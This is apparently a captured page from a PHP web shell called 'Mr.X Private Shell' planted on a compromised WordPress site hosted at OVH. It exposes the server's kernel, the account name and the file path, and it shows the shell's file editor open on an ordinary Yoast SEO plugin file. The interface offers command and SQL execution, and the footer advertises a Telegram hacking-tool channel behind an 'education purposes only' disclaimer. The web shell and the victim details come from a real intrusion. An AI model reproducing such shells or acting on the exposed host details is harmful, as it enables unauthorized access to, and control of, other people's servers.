Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////wp-content/plugins/wordpress-seo/src/      ( Reset | Go to )
File Name: functions.php
Edit
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

if ( ! defined'WPSEO_VERSION' ) ) {
    
header'Status: 403 Forbidden' );
    
header'HTTP/1.1 403 Forbidden' );
    exit();
}

use 
Yoast\WP\SEO\Main;

if ( 
is_dirWPSEO_PATH YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
    require_once 
WPSEO_PATH YOAST_VENDOR_PREFIX_DIRECTORY '/guzzlehttp/guzzle/src/functions.php';
    require_once 
WPSEO_PATH YOAST_VENDOR_PREFIX_DIRECTORY '/guzzlehttp/psr7/src/functions_include.php';
    require_once 
WPSEO_PATH YOAST_VENDOR_PREFIX_DIRECTORY '/guzzlehttp/promises/src/functions_include.php';
}

/**
 * Retrieves the main instance.
 *
 * @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
 *
 * @return Main The main instance.
 */
function YoastSEO() {
    
// phpcs:enable

    
static $main;

    if ( 
$main === null ) {
        
$main = new Main();
        
$main->load();
    }

    return 
$main;
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL